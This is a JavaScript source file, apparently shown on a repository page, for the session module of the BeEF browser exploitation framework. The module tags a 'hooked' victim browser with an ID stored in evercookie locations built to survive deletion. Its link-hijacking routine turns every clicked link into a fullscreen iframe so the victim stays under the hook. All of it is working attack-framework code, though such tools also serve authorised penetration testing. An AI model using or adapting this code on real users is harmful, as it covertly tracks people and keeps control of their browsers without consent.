324449eb0f
git-svn-id: https://beef.googlecode.com/svn/trunk@1179 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
103 lines
3.0 KiB
JavaScript
103 lines
3.0 KiB
JavaScript
//
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// Copyright 2011 Wade Alcorn wade@bindshell.net
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//
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// Licensed under the Apache License, Version 2.0 (the "License");
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// you may not use this file except in compliance with the License.
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// You may obtain a copy of the License at
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//
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// http://www.apache.org/licenses/LICENSE-2.0
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//
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// Unless required by applicable law or agreed to in writing, software
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// distributed under the License is distributed on an "AS IS" BASIS,
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// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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// See the License for the specific language governing permissions and
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// limitations under the License.
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//
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/*!
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* @literal object: beef.session
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*
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* Provides basic session functions.
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*/
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beef.session = {
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hook_session_id_length: 80,
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hook_session_id_chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
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ec: new evercookie(),
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/**
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* Gets a string which will be used to identify the hooked browser session
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*
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* @example: var hook_session_id = beef.session.get_hook_session_id();
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*/
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get_hook_session_id: function() {
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// check if the browser is already known to the framework
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var id = this.ec.evercookie_cookie("BEEFHOOK");
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if (typeof id == 'undefined') {
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var id = this.ec.evercookie_userdata("BEEFHOOK");
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}
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if (typeof id == 'undefined') {
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var id = this.ec.evercookie_window("BEEFHOOK");
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}
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// if the browser is not known create a hook session id and set it
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if ((typeof id == 'undefined') || (id == null)) {
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id = this.gen_hook_session_id();
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this.set_hook_session_id(id);
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}
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// return the hooked browser session identifier
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return id;
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},
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/**
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* Sets a string which will be used to identify the hooked browser session
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*
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* @example: beef.session.set_hook_session_id('RANDOMSTRING');
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*/
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set_hook_session_id: function(id) {
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// persist the hook session id
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this.ec.evercookie_cookie("BEEFHOOK", id);
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this.ec.evercookie_userdata("BEEFHOOK", id);
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this.ec.evercookie_window("BEEFHOOK", id);
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},
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/**
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* Generates a random string using the chars in hook_session_id_chars.
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*
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* @example: beef.session.gen_hook_session_id();
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*/
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gen_hook_session_id: function() {
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// init the return value
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var hook_session_id = "";
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// construct the random string
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for(var i=0; i<this.hook_session_id_length; i++) {
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var rand_num = Math.floor(Math.random()*this.hook_session_id_chars.length);
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hook_session_id += this.hook_session_id_chars.charAt(rand_num);
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}
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return hook_session_id;
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},
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/**
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* Overrides each link, and creates an iframe (loading the href) instead of following the link
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*/
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persistant: function() {
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$j('a').click(function(e) {
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if ($j(this).attr('href') != '')
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{
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e.preventDefault();
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beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null);
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$j(document).attr('title', $j(this).html());
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document.body.scroll = "no";
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document.documentElement.style.overflow = 'hidden';
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}
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});
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}
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};
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beef.regCmp('beef.session');
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